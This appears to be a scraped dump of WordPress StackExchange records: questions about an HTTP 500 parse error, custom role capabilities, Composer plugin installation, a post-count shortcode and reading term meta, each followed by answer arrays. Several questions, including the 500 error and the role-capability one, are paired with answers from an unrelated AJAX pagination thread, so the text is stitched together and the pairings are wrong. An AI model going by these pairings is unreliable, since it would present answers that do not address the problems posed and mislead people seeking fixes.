I've found the solution. The problem was I had a different number set for the `posts_per_page` parameter in the initial query and in the custom query I make via AJAX. In the code I provided `posts_per_page` is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different `posts_per_page` could cause a problem. Apologies about that. So yeah, if you're running into the same problem make sure that your `posts_per_page` is the same for all your queries!
285,994
<p>My website keeps showing <strong>HTTP ERROR 500</strong> and I'm not sure what's causing it</p> <p><strong><a href="http://igtsservice.com/" rel="nofollow noreferrer">Website URL</a></strong></p> <p>I tried a couple of debugging ideas like removed my .htaccess and renaming the Plugins folder, but still no luck</p> <p>I check the <strong>error_log</strong> file and here's what i found</p> <pre><code>[15-Nov-2017 17:47:35 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:47:54 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:11 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:14 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:16 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:17 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:19 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:20 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:22 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 </code></pre> <p>The thing is, my functions.php folder has only 234 lines of code</p> <p>This is a business website, help me please</p>
[ { "answer_id": 285968, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 0, "selected": false, "text": "<p>Try initializing the post with <code>$next_posts-&gt;the_post()</code> instead of just <code>the_post()</code>. <code>the_post</code> by itself will try to use the main query and in this context there isn't one.</p>\n" }, { "answer_id": 285974, "author": "Celso Bessa", "author_id": 22694, "author_profile": "https://wordpress.stackexchange.com/users/22694", "pm_score": 0, "selected": false, "text": "<p>If you are using AJAX, you gotta control your output to \"spit\" the context only once. And whenever you use a template part or any other functions that print content, it will probably output several times (either by using <code>echo</code>, <code>_e</code> or even HTML markup).</p>\n\n<p>In cases like this you must use the output buffer. Basically, you will put all your content in this buffer instead of printing it and after all processing, you finally outputs/prints it.</p>\n\n<p><a href=\"http://www.hackingwithphp.com/13/3/0/getting-started\" rel=\"nofollow noreferrer\">Here</a> you can find good reference of using it and [here the PHP manual page] about it <a href=\"https://secure.php.net/manual/en/book.outcontrol.php\" rel=\"nofollow noreferrer\">2</a>.</p>\n\n<p>Your functions would be something like this:</p>\n\n<pre><code>function load_next_awards() { \n\n // The number of the page is received from an attribute of the Load More button. I'm 100% sure this has nothing to do with the issues I'm having, so just ignore it.\n $page = $_POST[ 'page' ]; \n\n $args = array(\n 'paged' =&gt; $page, \n 'post_type' =&gt; array( 'award' ),\n 'post_status' =&gt; 'publish'\n 'post__not_in' =&gt; get_option( 'sticky_posts' ),\n 'orderby' =&gt; 'meta_value_num',\n 'meta_key' =&gt; 'deadline'\n );\n\n $next_posts = new WP_Query( $args ); \n\n if( $next_posts-&gt;have_posts() ) : \n //initiates output buffer\n ob_start();\n while( $next_posts-&gt;have_posts() ) : $next_posts-&gt;the_post(); \n get_template_part( 'views/post/content', get_post_format() );\n endwhile;\n\n // clean outbut buffer (ob) after assigning it's contents to a variable\n $html = ob_get_clean();\n endif;\n\n wp_reset_postdata();\n\n // echo cached html markup and leave function\n echo $html;\n\n die();\n\n} \n</code></pre>\n\n<p>Let me know if it helps.</p>\n" }, { "answer_id": 286174, "author": "grazdev", "author_id": 129417, "author_profile": "https://wordpress.stackexchange.com/users/129417", "pm_score": 3, "selected": true, "text": "<p>I've found the solution. The problem was I had a different number set for the <code>posts_per_page</code> parameter in the initial query and in the custom query I make via AJAX. In the code I provided <code>posts_per_page</code> is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different <code>posts_per_page</code> could cause a problem. Apologies about that. </p>\n\n<p>So yeah, if you're running into the same problem make sure that your <code>posts_per_page</code> is the same for all your queries!</p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285994", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131563/" ]
My website keeps showing **HTTP ERROR 500** and I'm not sure what's causing it **[Website URL](http://igtsservice.com/)** I tried a couple of debugging ideas like removed my .htaccess and renaming the Plugins folder, but still no luck I check the **error\_log** file and here's what i found ``` [15-Nov-2017 17:47:35 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:47:54 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:11 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:14 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:16 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:17 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:19 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:20 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:22 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 ``` The thing is, my functions.php folder has only 234 lines of code This is a business website, help me please
I've found the solution. The problem was I had a different number set for the `posts_per_page` parameter in the initial query and in the custom query I make via AJAX. In the code I provided `posts_per_page` is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different `posts_per_page` could cause a problem. Apologies about that. So yeah, if you're running into the same problem make sure that your `posts_per_page` is the same for all your queries!
285,998
<p>I've used several tutorials and tried to apply various "solutions", but I'm still unable to get a custom role to edit their own posts for a custom type. </p> <p>I created the role, which shows fine...</p> <pre><code>function mymodule_create_role() { add_role( 'resident', 'New Role', array( 'read' =&gt; true, // True allows that capability 'create_posts' =&gt; false, 'edit_posts' =&gt; false, // Allows user to edit their own posts 'publish_posts'=&gt;false, //Allows the user to publish, otherwise posts stays in draft mode 'edit_published_posts'=&gt;false, 'upload_files'=&gt;true, 'delete_published_posts'=&gt;false, )); } </code></pre> <p>I've also registered my new content type, which seems fine...</p> <pre><code>function register_bulletin_board() { $labels = array( 'name' =&gt; _x( 'Bulletin Board', 'bulletin_board' ), 'singular_name' =&gt; _x( 'Bulletin Board', 'bulletin_board' ), 'add_new' =&gt; _x( 'Add New', 'bulletin_board' ), 'add_new_item' =&gt; _x( 'Add New Bulletin Board', 'bulletin_board' ), 'edit_item' =&gt; _x( 'Edit Bulletin Board', 'bulletin_board' ), 'new_item' =&gt; _x( 'New Bulletin Board', 'bulletin_board' ), 'view_item' =&gt; _x( 'View Bulletin Board', 'bulletin_board' ), 'search_items' =&gt; _x( 'Search Bulletin Board', 'bulletin_board' ), 'not_found' =&gt; _x( 'No bulletin board found', 'bulletin_board' ), 'not_found_in_trash' =&gt; _x( 'No bulletin board found in Trash', 'bulletin_board' ), 'parent_item_colon' =&gt; _x( 'Parent Bulletin Board:', 'bulletin_board' ), 'menu_name' =&gt; _x( 'Bulletin Board', 'bulletin_board' ), ); $args = array( 'labels' =&gt; $labels, 'hierarchical' =&gt; true, 'description' =&gt; 'Bulletin board for citizen posts', 'supports' =&gt; array( 'title', 'editor','author'), 'public' =&gt; true, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'menu_icon' =&gt; get_bloginfo('template_url') . '/images/imagegallery.png', 'show_in_nav_menus' =&gt; true, 'publicly_queryable' =&gt; true, 'exclude_from_search' =&gt; false, 'has_archive' =&gt; true, 'query_var' =&gt; true, 'can_export' =&gt; true, 'rewrite' =&gt; true, 'capabilities' =&gt; array( 'edit_post' =&gt; 'edit_bulletin_board', 'edit_posts' =&gt; 'edit_bulletin_boards', 'edit_others_posts' =&gt; 'edit_other_bulletin_board', 'publish_posts' =&gt; 'publish_bulletin_board', 'read_post' =&gt; 'read_bulletin_board', 'read_private_posts' =&gt; 'read_private_bulletin_board', 'delete_post' =&gt; 'delete_bulletin_board' ), 'map_meta_cap' =&gt; true ); register_post_type( 'bulletin_board', $args ); } </code></pre> <p>And finally, I've applied the add_cap to my roles, which includes my new "resident" role...</p> <pre><code>$roles = array('administrator','resident','editor'); // Loop through each role and assign capabilities foreach($roles as $the_role) { $admins = get_role( $the_role ); $admins-&gt;add_cap( 'can_edit_posts' ); $admins-&gt;add_cap( 'edit_bulletin_board' ); $admins-&gt;add_cap( 'edit_bulletin_boards' ); $admins-&gt;add_cap( 'edit_other_bulletin_board' ); $admins-&gt;add_cap( 'publish_bulletin_board' ); $admins-&gt;add_cap( 'read_bulletin_board' ); $admins-&gt;add_cap( 'read_private_bulletin_board' ); $admins-&gt;add_cap( 'delete_bulletin_board' ); } </code></pre> <p>Now, when I login as a "resident", I can post a Bulletin Board post, but this user has no ability to edit or delete. From what I've read, the capabilities should be tied via add_cap() to the capabilities array used with register_post_type(), which seems to be the case. </p> <p>I've also installed the User Role Editor plugin and I see the checks for editing of the bulletin board, but that still doesn't seem to mean anything. </p> <p>Any suggestions would be very appreciated. </p>
[ { "answer_id": 285968, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 0, "selected": false, "text": "<p>Try initializing the post with <code>$next_posts-&gt;the_post()</code> instead of just <code>the_post()</code>. <code>the_post</code> by itself will try to use the main query and in this context there isn't one.</p>\n" }, { "answer_id": 285974, "author": "Celso Bessa", "author_id": 22694, "author_profile": "https://wordpress.stackexchange.com/users/22694", "pm_score": 0, "selected": false, "text": "<p>If you are using AJAX, you gotta control your output to \"spit\" the context only once. And whenever you use a template part or any other functions that print content, it will probably output several times (either by using <code>echo</code>, <code>_e</code> or even HTML markup).</p>\n\n<p>In cases like this you must use the output buffer. Basically, you will put all your content in this buffer instead of printing it and after all processing, you finally outputs/prints it.</p>\n\n<p><a href=\"http://www.hackingwithphp.com/13/3/0/getting-started\" rel=\"nofollow noreferrer\">Here</a> you can find good reference of using it and [here the PHP manual page] about it <a href=\"https://secure.php.net/manual/en/book.outcontrol.php\" rel=\"nofollow noreferrer\">2</a>.</p>\n\n<p>Your functions would be something like this:</p>\n\n<pre><code>function load_next_awards() { \n\n // The number of the page is received from an attribute of the Load More button. I'm 100% sure this has nothing to do with the issues I'm having, so just ignore it.\n $page = $_POST[ 'page' ]; \n\n $args = array(\n 'paged' =&gt; $page, \n 'post_type' =&gt; array( 'award' ),\n 'post_status' =&gt; 'publish'\n 'post__not_in' =&gt; get_option( 'sticky_posts' ),\n 'orderby' =&gt; 'meta_value_num',\n 'meta_key' =&gt; 'deadline'\n );\n\n $next_posts = new WP_Query( $args ); \n\n if( $next_posts-&gt;have_posts() ) : \n //initiates output buffer\n ob_start();\n while( $next_posts-&gt;have_posts() ) : $next_posts-&gt;the_post(); \n get_template_part( 'views/post/content', get_post_format() );\n endwhile;\n\n // clean outbut buffer (ob) after assigning it's contents to a variable\n $html = ob_get_clean();\n endif;\n\n wp_reset_postdata();\n\n // echo cached html markup and leave function\n echo $html;\n\n die();\n\n} \n</code></pre>\n\n<p>Let me know if it helps.</p>\n" }, { "answer_id": 286174, "author": "grazdev", "author_id": 129417, "author_profile": "https://wordpress.stackexchange.com/users/129417", "pm_score": 3, "selected": true, "text": "<p>I've found the solution. The problem was I had a different number set for the <code>posts_per_page</code> parameter in the initial query and in the custom query I make via AJAX. In the code I provided <code>posts_per_page</code> is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different <code>posts_per_page</code> could cause a problem. Apologies about that. </p>\n\n<p>So yeah, if you're running into the same problem make sure that your <code>posts_per_page</code> is the same for all your queries!</p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285998", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131567/" ]
I've used several tutorials and tried to apply various "solutions", but I'm still unable to get a custom role to edit their own posts for a custom type. I created the role, which shows fine... ``` function mymodule_create_role() { add_role( 'resident', 'New Role', array( 'read' => true, // True allows that capability 'create_posts' => false, 'edit_posts' => false, // Allows user to edit their own posts 'publish_posts'=>false, //Allows the user to publish, otherwise posts stays in draft mode 'edit_published_posts'=>false, 'upload_files'=>true, 'delete_published_posts'=>false, )); } ``` I've also registered my new content type, which seems fine... ``` function register_bulletin_board() { $labels = array( 'name' => _x( 'Bulletin Board', 'bulletin_board' ), 'singular_name' => _x( 'Bulletin Board', 'bulletin_board' ), 'add_new' => _x( 'Add New', 'bulletin_board' ), 'add_new_item' => _x( 'Add New Bulletin Board', 'bulletin_board' ), 'edit_item' => _x( 'Edit Bulletin Board', 'bulletin_board' ), 'new_item' => _x( 'New Bulletin Board', 'bulletin_board' ), 'view_item' => _x( 'View Bulletin Board', 'bulletin_board' ), 'search_items' => _x( 'Search Bulletin Board', 'bulletin_board' ), 'not_found' => _x( 'No bulletin board found', 'bulletin_board' ), 'not_found_in_trash' => _x( 'No bulletin board found in Trash', 'bulletin_board' ), 'parent_item_colon' => _x( 'Parent Bulletin Board:', 'bulletin_board' ), 'menu_name' => _x( 'Bulletin Board', 'bulletin_board' ), ); $args = array( 'labels' => $labels, 'hierarchical' => true, 'description' => 'Bulletin board for citizen posts', 'supports' => array( 'title', 'editor','author'), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'menu_icon' => get_bloginfo('template_url') . '/images/imagegallery.png', 'show_in_nav_menus' => true, 'publicly_queryable' => true, 'exclude_from_search' => false, 'has_archive' => true, 'query_var' => true, 'can_export' => true, 'rewrite' => true, 'capabilities' => array( 'edit_post' => 'edit_bulletin_board', 'edit_posts' => 'edit_bulletin_boards', 'edit_others_posts' => 'edit_other_bulletin_board', 'publish_posts' => 'publish_bulletin_board', 'read_post' => 'read_bulletin_board', 'read_private_posts' => 'read_private_bulletin_board', 'delete_post' => 'delete_bulletin_board' ), 'map_meta_cap' => true ); register_post_type( 'bulletin_board', $args ); } ``` And finally, I've applied the add\_cap to my roles, which includes my new "resident" role... ``` $roles = array('administrator','resident','editor'); // Loop through each role and assign capabilities foreach($roles as $the_role) { $admins = get_role( $the_role ); $admins->add_cap( 'can_edit_posts' ); $admins->add_cap( 'edit_bulletin_board' ); $admins->add_cap( 'edit_bulletin_boards' ); $admins->add_cap( 'edit_other_bulletin_board' ); $admins->add_cap( 'publish_bulletin_board' ); $admins->add_cap( 'read_bulletin_board' ); $admins->add_cap( 'read_private_bulletin_board' ); $admins->add_cap( 'delete_bulletin_board' ); } ``` Now, when I login as a "resident", I can post a Bulletin Board post, but this user has no ability to edit or delete. From what I've read, the capabilities should be tied via add\_cap() to the capabilities array used with register\_post\_type(), which seems to be the case. I've also installed the User Role Editor plugin and I see the checks for editing of the bulletin board, but that still doesn't seem to mean anything. Any suggestions would be very appreciated.
I've found the solution. The problem was I had a different number set for the `posts_per_page` parameter in the initial query and in the custom query I make via AJAX. In the code I provided `posts_per_page` is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different `posts_per_page` could cause a problem. Apologies about that. So yeah, if you're running into the same problem make sure that your `posts_per_page` is the same for all your queries!
286,004
<p>I'm using Composer to install plugins with the wpackagist repository. I've added all the relevant lines to my <code>composer.json</code> file in my main <code>wp/</code> directory.</p> <p>The plugin installed as expected (it's <a href="https://wordpress.org/plugins/members/" rel="nofollow noreferrer">this one</a> if it makes any difference) to its own folder within <code>wp/plugins/</code>.</p> <p>The issue that I see now is that it doesn't show up in the plugins section of my WordPress dashboard, nor am I able to install it with <code>wp plugin activate &lt;name&gt;</code>. </p> <p>Is there something else that needs to be done with Composer or elsewhere in this process to allow the plugin to be able to be installed?</p> <p>Here's my <code>composer.json</code>:</p> <pre><code>{ "name": "johnpbloch/wordpress-core", "description": "WordPress is web software you can use to create a beautiful website or blog.", "repositories":[ { "type":"composer", "url":"https://wpackagist.org" } ], "keywords": [ "wordpress", "blog", "cms" ], "type": "wordpress-core", "homepage": "http://wordpress.org/", "license": "GPL-2.0+", "authors": [ { "name": "WordPress Community", "homepage": "http://wordpress.org/about/" } ], "support": { "issues": "http://core.trac.wordpress.org/", "forum": "http://wordpress.org/support/", "wiki": "http://codex.wordpress.org/", "irc": "irc://irc.freenode.net/wordpress", "source": "http://core.trac.wordpress.org/browser" }, "require": { "php": "&gt;=5.3.2", "wpackagist-plugin/members": "2.0.2" }, "provide": { "wordpress/core-implementation": "4.8.2" } } </code></pre> <p>As I mentioned, the plugin is visible in my <code>wp-plugins</code> folder, so it seems to have done everything correctly. I just can't manage to install it neither with WP-CLI nor within the WP Dashboard.</p>
[ { "answer_id": 286009, "author": "websupporter", "author_id": 48693, "author_profile": "https://wordpress.stackexchange.com/users/48693", "pm_score": 2, "selected": false, "text": "<p>In order for WordPress to recognize a plugin it needs to be in the correct plugins folder.</p>\n\n<p>In an usual installation this is wp-content/plugins/</p>\n\n<p>If you use wpackagist.org, a working example would be this composer.json:</p>\n\n<pre><code>{\n \"repositories\": [\n {\n \"type\": \"composer\",\n \"url\": \"https://wpackagist.org\"\n }\n ],\n \"require\": {\n \"wpackagist-plugin/broken-link-checker\": \"*\",\n \"wpackagist-theme/twentyseventeen\": \"*\"\n }\n}\n</code></pre>\n\n<p><code>wpackagist-plugin</code> signals its a WordPress plugin you want to install <code>wpackagist-theme</code> signals, its a theme.</p>\n\n<p>I hope, this helps.</p>\n\n<p>If you want to manage your whole installation (including WordPress), I suggest you have a look into <a href=\"https://github.com/wecodemore/wpstarter\" rel=\"nofollow noreferrer\">WPStarter</a></p>\n\n<p><strong>Edit:</strong></p>\n\n<p>I tested your composer.json like this:</p>\n\n<p>In the folder, where I have my composer.json I run </p>\n\n<p><code>wp core download\nwp config create ...\nwp core install ...\ncomposer install\n</code></p>\n\n<p>and it was working for me. My guess was maybe file rights. Could it be, the directory is not readable for the PHP instance?</p>\n" }, { "answer_id": 313751, "author": "leymannx", "author_id": 30597, "author_profile": "https://wordpress.stackexchange.com/users/30597", "pm_score": 0, "selected": false, "text": "<p>Thing is, this is not <em>your</em> <code>composer.json</code>, this is the <code>composer.json</code> of <a href=\"https://github.com/johnpbloch/wordpress-core/blob/master/composer.json\" rel=\"nofollow noreferrer\"><code>johnpbloch/wordpress-core</code></a> – which is not supposed to be used as a base for your own project, but as a dependency instead.</p>\n\n<p>Better have a look at <a href=\"https://github.com/roots/bedrock\" rel=\"nofollow noreferrer\"><code>roots/bedrock</code></a> and start your project with it. Or more minimalistic with <a href=\"https://github.com/wodby/wordpress-composer\" rel=\"nofollow noreferrer\"><code>wodby/wordpress-composer</code></a>. You could also try it with the sample <code>composer.json</code> on the <a href=\"https://wpackagist.org/\" rel=\"nofollow noreferrer\">https://wpackagist.org/</a> front-page, but then you also have to build some more logic around it on your own – as of where exactly you want these packages to be installed to, in which directory.</p>\n\n<p><code>wp/plugins/</code> isn't actually the default folder where plugins should be installed to. So you either need to make WordPress recognize this folder as plugin directory or you should install them into their default directory <code>wp-content/plugins/</code>.</p>\n\n<hr>\n\n<p>However, what's really missing in your question is: What plugin <em>exactly</em>? What command did you run <em>exactly</em>? And what was the output when you run <code>wp plugin activate NAME</code>? What does \"I just can't manage to install\" mean?</p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/286004", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/81297/" ]
I'm using Composer to install plugins with the wpackagist repository. I've added all the relevant lines to my `composer.json` file in my main `wp/` directory. The plugin installed as expected (it's [this one](https://wordpress.org/plugins/members/) if it makes any difference) to its own folder within `wp/plugins/`. The issue that I see now is that it doesn't show up in the plugins section of my WordPress dashboard, nor am I able to install it with `wp plugin activate <name>`. Is there something else that needs to be done with Composer or elsewhere in this process to allow the plugin to be able to be installed? Here's my `composer.json`: ``` { "name": "johnpbloch/wordpress-core", "description": "WordPress is web software you can use to create a beautiful website or blog.", "repositories":[ { "type":"composer", "url":"https://wpackagist.org" } ], "keywords": [ "wordpress", "blog", "cms" ], "type": "wordpress-core", "homepage": "http://wordpress.org/", "license": "GPL-2.0+", "authors": [ { "name": "WordPress Community", "homepage": "http://wordpress.org/about/" } ], "support": { "issues": "http://core.trac.wordpress.org/", "forum": "http://wordpress.org/support/", "wiki": "http://codex.wordpress.org/", "irc": "irc://irc.freenode.net/wordpress", "source": "http://core.trac.wordpress.org/browser" }, "require": { "php": ">=5.3.2", "wpackagist-plugin/members": "2.0.2" }, "provide": { "wordpress/core-implementation": "4.8.2" } } ``` As I mentioned, the plugin is visible in my `wp-plugins` folder, so it seems to have done everything correctly. I just can't manage to install it neither with WP-CLI nor within the WP Dashboard.
In order for WordPress to recognize a plugin it needs to be in the correct plugins folder. In an usual installation this is wp-content/plugins/ If you use wpackagist.org, a working example would be this composer.json: ``` { "repositories": [ { "type": "composer", "url": "https://wpackagist.org" } ], "require": { "wpackagist-plugin/broken-link-checker": "*", "wpackagist-theme/twentyseventeen": "*" } } ``` `wpackagist-plugin` signals its a WordPress plugin you want to install `wpackagist-theme` signals, its a theme. I hope, this helps. If you want to manage your whole installation (including WordPress), I suggest you have a look into [WPStarter](https://github.com/wecodemore/wpstarter) **Edit:** I tested your composer.json like this: In the folder, where I have my composer.json I run `wp core download wp config create ... wp core install ... composer install` and it was working for me. My guess was maybe file rights. Could it be, the directory is not readable for the PHP instance?
286,014
<p>I'd like to create a shortcode that would display the post count for a specific category within a custom post type. I've been trying to alter the code below but need some help. Could anyone let me know how to tweak so that the shortcode is for a specific custom post type.</p> <pre>// Add Shortcode to show posts count inside a category function category_post_count( $atts ) { $atts = shortcode_atts( array( 'category' => null ), $atts ); // get the category by slug. $term = get_term_by( 'slug', $atts['category'], 'category'); return ( isset( $term->count ) ) ? $term->count : 0; } add_shortcode( 'category_post_count', 'category_post_count' );</pre> <p>Thanks in advance!</p>
[ { "answer_id": 286009, "author": "websupporter", "author_id": 48693, "author_profile": "https://wordpress.stackexchange.com/users/48693", "pm_score": 2, "selected": false, "text": "<p>In order for WordPress to recognize a plugin it needs to be in the correct plugins folder.</p>\n\n<p>In an usual installation this is wp-content/plugins/</p>\n\n<p>If you use wpackagist.org, a working example would be this composer.json:</p>\n\n<pre><code>{\n \"repositories\": [\n {\n \"type\": \"composer\",\n \"url\": \"https://wpackagist.org\"\n }\n ],\n \"require\": {\n \"wpackagist-plugin/broken-link-checker\": \"*\",\n \"wpackagist-theme/twentyseventeen\": \"*\"\n }\n}\n</code></pre>\n\n<p><code>wpackagist-plugin</code> signals its a WordPress plugin you want to install <code>wpackagist-theme</code> signals, its a theme.</p>\n\n<p>I hope, this helps.</p>\n\n<p>If you want to manage your whole installation (including WordPress), I suggest you have a look into <a href=\"https://github.com/wecodemore/wpstarter\" rel=\"nofollow noreferrer\">WPStarter</a></p>\n\n<p><strong>Edit:</strong></p>\n\n<p>I tested your composer.json like this:</p>\n\n<p>In the folder, where I have my composer.json I run </p>\n\n<p><code>wp core download\nwp config create ...\nwp core install ...\ncomposer install\n</code></p>\n\n<p>and it was working for me. My guess was maybe file rights. Could it be, the directory is not readable for the PHP instance?</p>\n" }, { "answer_id": 313751, "author": "leymannx", "author_id": 30597, "author_profile": "https://wordpress.stackexchange.com/users/30597", "pm_score": 0, "selected": false, "text": "<p>Thing is, this is not <em>your</em> <code>composer.json</code>, this is the <code>composer.json</code> of <a href=\"https://github.com/johnpbloch/wordpress-core/blob/master/composer.json\" rel=\"nofollow noreferrer\"><code>johnpbloch/wordpress-core</code></a> – which is not supposed to be used as a base for your own project, but as a dependency instead.</p>\n\n<p>Better have a look at <a href=\"https://github.com/roots/bedrock\" rel=\"nofollow noreferrer\"><code>roots/bedrock</code></a> and start your project with it. Or more minimalistic with <a href=\"https://github.com/wodby/wordpress-composer\" rel=\"nofollow noreferrer\"><code>wodby/wordpress-composer</code></a>. You could also try it with the sample <code>composer.json</code> on the <a href=\"https://wpackagist.org/\" rel=\"nofollow noreferrer\">https://wpackagist.org/</a> front-page, but then you also have to build some more logic around it on your own – as of where exactly you want these packages to be installed to, in which directory.</p>\n\n<p><code>wp/plugins/</code> isn't actually the default folder where plugins should be installed to. So you either need to make WordPress recognize this folder as plugin directory or you should install them into their default directory <code>wp-content/plugins/</code>.</p>\n\n<hr>\n\n<p>However, what's really missing in your question is: What plugin <em>exactly</em>? What command did you run <em>exactly</em>? And what was the output when you run <code>wp plugin activate NAME</code>? What does \"I just can't manage to install\" mean?</p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/286014", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/39052/" ]
I'd like to create a shortcode that would display the post count for a specific category within a custom post type. I've been trying to alter the code below but need some help. Could anyone let me know how to tweak so that the shortcode is for a specific custom post type. ``` // Add Shortcode to show posts count inside a category function category_post_count( $atts ) { $atts = shortcode_atts( array( 'category' => null ), $atts ); // get the category by slug. $term = get_term_by( 'slug', $atts['category'], 'category'); return ( isset( $term->count ) ) ? $term->count : 0; } add_shortcode( 'category_post_count', 'category_post_count' ); ``` Thanks in advance!
In order for WordPress to recognize a plugin it needs to be in the correct plugins folder. In an usual installation this is wp-content/plugins/ If you use wpackagist.org, a working example would be this composer.json: ``` { "repositories": [ { "type": "composer", "url": "https://wpackagist.org" } ], "require": { "wpackagist-plugin/broken-link-checker": "*", "wpackagist-theme/twentyseventeen": "*" } } ``` `wpackagist-plugin` signals its a WordPress plugin you want to install `wpackagist-theme` signals, its a theme. I hope, this helps. If you want to manage your whole installation (including WordPress), I suggest you have a look into [WPStarter](https://github.com/wecodemore/wpstarter) **Edit:** I tested your composer.json like this: In the folder, where I have my composer.json I run `wp core download wp config create ... wp core install ... composer install` and it was working for me. My guess was maybe file rights. Could it be, the directory is not readable for the PHP instance?
286,052
<p>i add some custom meta field to product taxonomy "artist" they work well and save to taxonomy</p> <pre><code> /** add meta data to artist taxonomy */ function artist_add_meta_fields( $taxonomy ) { ?&gt; &lt;div class="form-field term-group"&gt; &lt;label for="artist_nickname"&gt;&lt;?php _e( 'Nickname', 'my-plugin' ); ?&gt;&lt;/label&gt; &lt;input type="text" id="artist_nickname" name="artist_nickname" /&gt; &lt;/div&gt; &lt;?php } add_action( 'artist_add_form_fields', 'artist_add_meta_fields', 10, 2 ); function artist_edit_meta_fields( $term, $taxonomy ) { $artist_nickname = get_term_meta( $term-&gt;term_id, 'artist_nickname', true ); ?&gt; &lt;tr class="form-field term-group-wrap"&gt; &lt;th scope="row"&gt; &lt;label for="artist_nickname"&gt;&lt;?php _e( 'Nickname', 'my-plugin' ); ?&gt;&lt;/label&gt; &lt;/th&gt; &lt;td&gt; &lt;input type="text" id="artist_nickname" name="artist_nickname" value="&lt;?php echo $artist_nickname; ?&gt;" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php } add_action( 'artist_edit_form_fields', 'artist_edit_meta_fields', 10, 2 ); function artist_save_taxonomy_meta( $term_id, $tag_id ) { if( isset( $_POST['artist_nickname'] ) ) { update_term_meta( $term_id, 'artist_nickname', esc_attr( $_POST['artist_nickname'] ) ); } } add_action( 'created_artist', 'artist_save_taxonomy_meta', 10, 2 ); add_action( 'edited_artist', 'artist_save_taxonomy_meta', 10, 2 ); </code></pre> <p>but i cant get them in taxonomy-artist.php in frontend</p> <pre><code>//Get Taxonomy Meta $artist_nickname = get_term_meta($term-&gt;term_id,'artist_nickname'); echo $artist_nickname; </code></pre> <p>but nothing displayed. where is my problem?</p>
[ { "answer_id": 286056, "author": "JoseLazo", "author_id": 58041, "author_profile": "https://wordpress.stackexchange.com/users/58041", "pm_score": 3, "selected": true, "text": "<p>If you want to display in archive or category (taxonomy) template, try this:</p>\n\n<pre><code>$artist_nickname = get_term_meta( get_queried_object_id(), 'artist_nickname', true);\necho $artist_nickname;\n</code></pre>\n" }, { "answer_id": 286065, "author": "dalveer", "author_id": 60260, "author_profile": "https://wordpress.stackexchange.com/users/60260", "pm_score": 0, "selected": false, "text": "<p>You can use this </p>\n\n<pre><code>$youvaribale = get_term_meta( get_queried_object_id(), 'fieldname', true);\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>$youvaribale = get_term_meta( catid, 'fieldname', true);\n\necho $youvaribale;\n</code></pre>\n" } ]
2017/11/16
